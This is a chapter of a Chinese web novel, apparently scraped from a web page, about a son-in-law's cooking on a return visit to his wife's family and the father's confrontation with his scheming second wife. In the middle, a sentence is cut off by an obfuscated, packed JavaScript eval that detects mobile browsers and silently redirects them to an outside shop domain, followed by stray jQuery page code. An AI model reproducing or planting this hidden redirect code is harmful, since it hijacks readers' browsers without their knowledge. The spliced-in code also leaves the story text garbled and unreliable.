陈江才坐下吃了口茶水就起了身。
他挽了袖子,将两只兔子砍成小块,又将方才去塘边买来的大鲤鱼刮鳞破开,见吴七娘躲在屋子里一副病怏怏的样子,他也不声张,提着兔子肉和洗好的鲤鱼就要去灶房。
叶望山赶紧过来拦住他,“你们回门是客,怎么能让你们动手,我来做,我来做!”说着喊了声锦砚,“帮我烧火,我给你们露一手。”
叶锦砚被打发去写字,就等着这声喊呢,立刻从屋子里蹿了出来。
“爹,什么客不客的,我爹娘不在,您就是我亲爹,给您做顿饭又怎么了,又不是头一回来,之前几个月我吃您锅里的饭还少嘛!”陈江绕开他,不要他接手,直接吩咐叶锦砚,“小弟,少不得你要帮我,快去!”
叶锦砚连忙笑着嗯一声,跑去生火,一点也不嫌脏。
叶望山被他这么一说,只好作罢,却满心都是愧疚和对吴七娘的失望。
他心知成亲那天的事她或许没有参与,可她明知娘家人不怀好意却一句半句也没提醒,眼睁睁看着那余氏上了送亲的马车,他每次想到这,心就凉地透透的。
加上连着几日都没干活,在屋里病怏怏的,今儿引线小两口回来,她又这样在屋里躺着,丝毫没有出来搭把手的意思,他又多了几分不满。
顺着念头就想到了当初菱娘还在的时候,要是她现在还活着,只怕头一日就要宰鸡杀鱼,就等着小两口回门好好招待小女婿,哪像现在,冷锅冷灶,自己叮嘱的话她一句也听不进去。
叶望山头一次感到无比后悔。
引线看着这一幕,她没有上去安慰亲爹,也没有说一句缓和气氛,之前的她需要爹的公正和撑腰,可是从未得到过,他现在有了这样的想法,她也不再稀罕了。
陈江在灶房里忙活了半晌,将鱼剁成块炖上,两只鲜兔肉炒了一大锅,起锅后另炒了两样素的,这就算齐活。
很快,小院儿里飘出浓烈的肉香,那些刚吃完午饭的人家正收拾呢,闻到这味道又忍不住流了口水。
隔壁看到引线小两口回来的人跟家里老婆子感叹:“还得是这两姐妹,都嫁的好,大女婿城里人,小女婿虽说是个山户人家,却有这打猎的好手艺,他家不缺肉吃咯!”
那老太太就撇嘴道:“你女婿也不差,羡慕人家做什么?等女儿下回回娘家我就告你的状!”
那老汉连忙住了口。
早上就吃了点粥,又赶路,引线也有些饿了,帮着端菜端饭,招呼叶望山开饭了。
陈江拿出带来的酒,给岳父给自己满上,两人边吃边喝边聊,陈江说话不轻浮吹嘘,又不似大女婿柳守有点文人气,无论哪一样都很合叶望山的心意,嘴角就没落下来过。
看着一桌人都很高兴的模样,原本犹豫想要问爹要不要去喊娘一声的叶锦砚就散了气。
通过这些天爹的态度,以及当初偷听杨翁杨大舅他们商量的事,他明白二姐成亲那日的委屈有一半是娘的娘家,还有她造成的。
他更明白,要是娘一来,整个饭桌上的气氛都会变得很尴尬。他喜欢陈江,不想让人破坏他和姐夫好不容易建立起来的关系,所以他干脆和爹一样,选择了忽视,选择了吃饭。
可小孩子心里总是惦记着娘的,他越吃心里越有负罪感,忍不住回头看东屋,期盼娘能自己主动示好出来。
肉香四溢,腹中饥饿的吴七娘早就闻到了,她侧躺在床上,从引线喊叶望山吃饭的时候就不住支脑袋往窗户上看,想着就算他们不喊,叶锦砚也是要喊的,心里也打算好了,等他喊第二遍的时候自己就出去。
但令她心寒的是,叶锦砚全程没来露过面,甚至连喊一声的动静都没有。
丈夫对她冷脸,如今连亲生的儿子也跟着冷待她,怎叫她心不凉的透透的。
她心中腹中都好似一团火烧了起来,眼见外头的笑声刺耳,满地丢的都是鱼骨头、兔骨头,那饥饿同理智一块都烧没了,急不可耐地冲了出去,对着叶望山喊。
“你,你还是不是我男人!”又哭着对叶锦砚骂道,“我白生养你了!你娘还病着,饿着肚子,你自己在这又吃又喝,你就不怕遭雷劈!”
叶锦砚几乎要将头埋在胸前。
“你喊什么?”叶望山放下筷子,他冷眼看着她闹,却毫无波澜,警告道,“你做了什么,我不说大家都心知肚明,二丫头没有追究你已经算是大度了,你有赎罪的心,今日就该早起预备回门饭,而不是躲在屋里装病!就是石头日子久了也有感情,大丫头出门早也就算了,二丫头也算是你看着长这么大的,你真就一点愧疚都没有?你的脸红不红,臊不臊?”
吴七娘被他说得面红耳赤,哑口无言。
“既然话起了头,我也就只好说开,”叶望山叹了一口气,“当初你嫁过来本就是个错,是我懦弱,是我怕事,也是我轻信你四哥才上了你家的套,不过这些年我对你,对你家都算无愧,但你非要作怪,我也不好再留下你了。”
“你,你什么意思!”吴七娘简直目瞪口呆。
他这是什么意思?
赶她走?
吴七娘看看他,又看看一副置身事外的引线夫妻,最后看了眼依旧埋着头也不吃饭也不看她的锦砚,她胸口猛然一疼,什么感受都没了,就只剩下钻心的疼!
“我给你生了个儿子!我还给你操持这么多年的家,你怎么能说赶我走就要赶我走?”吴七娘失声问道。
“就是我话里的意思,”叶望山没那个心思和她打哑谜,“实话告诉你,你娘家人找了这么多天的余大嫂,就在陈家,当日将她抓后就关了起来。不过,你回去以后虽要靠娘家生活,但你但凡有最后一点良心,也该为锦砚考虑,若他娘是个胁从犯,以后科举的路还要怎么走?怕是这辈子都抬不起头来。”
余氏的罪名轻,最多是为了钱办了糊涂事,几句不知后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730179|205343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
果也就混过去,或是要关几日,倒也能拿钱抵了罪。但若是余氏不认罪,或是跑了,反倒事态严重了,定为同谋不说,查到吴七娘这儿,更是有扯不清的关系。
吴七娘打了个冷战,方才急出来的汗此刻都变成了数九天泼在身上的水,冷浸浸的,让人难受极了。
她最后看了一眼叶锦砚,才浑浑噩噩地回了屋里。
她闹了一通,饭桌上的温馨和睦瞬间瓦解,叶望山虽然还和陈江吃酒说笑,但依然不复方才的神情。
陈江心知岳父和吴七娘定然还有话要说,于是仰头干完最后一点酒,又刨了碗饭饱肚,收拾碗筷去了。
引线在娘家难得当了一回甩手掌柜,什么事都不用做,她丝毫不被刚才的事影响,抿唇笑道:“我去看看我屋里。”
等陈江洗好碗筷,叶望山正好从东屋出来,陈江顺嘴道:“爹,还有什么要做的,趁我在这给你一道干了。”
他力气大,除了种地差了叶望山的把式,其他的农活家里活都能做,还比其他人做的又快又好,实在是让人喜欢。
不过这样的情况下,叶望山就算有也只会说没有,“你们忙活半晌,累了吧?才成亲几天,家里肯定还有活,你带着二丫头早些回去吧,免得走夜路让人担心。等你们下次回来,我给你们做一桌好的,再要你们自己动手,我这老脸都没地方搁了。”
陈江也想早些回去料理事,他不放心石虎和杨梅在家,只怕有什么变故,于是点头应了,出去牵了驴,抱了引线上车,挥别老丈人和小舅子,往村头石桥去。
天气凉爽下来,路两边有不少村里人错身过,引线一一喊人,陈江也跟着她叔婶地喊。
走出石桥,两边没了人,他看引线神色有些不快,一边驾车一边问:“是不是感觉不痛快?”
引线闷闷道:“也不是不痛快,就是有些……说不清。当年她抱着个小包袱来石桥村的时候,才十八,比我如今也大不了两岁,她家里穷,几个哥哥逼着她嫁给有钱人家的傻子换聘礼,后来因为遇上我爹才打消了拿她还钱的念头。虽然她嫁过来的手段不光彩,但到底是成了一家人,怎么就过成了现在这样?”
“那是她贪心不足,更是她本就品行不端。”陈江毫不客气道,“给人当后母本就是个吃力不讨好的活,但爹这样的人都对她说狠话了,只能说她是个蠢人,毕竟只有从头到尾的蠢人才能干出这些事。”
引线点了点头。
“别想了,这事你别插手,让爹做主就成。”陈江小声道,“我回去有好事跟你说。”
“什么好事?”引线的好奇心一下被勾了起来,方才的不高兴也都抛诸脑后了。
“回去再说。”
陈江有意吊她胃口,又快要进入南洼村的地界,她只好不吭声。
想到了自己打算养兔子的事,而且她还想问那片山到底是谁在帮那家大户管,若是可以,他们俩完全可以接手……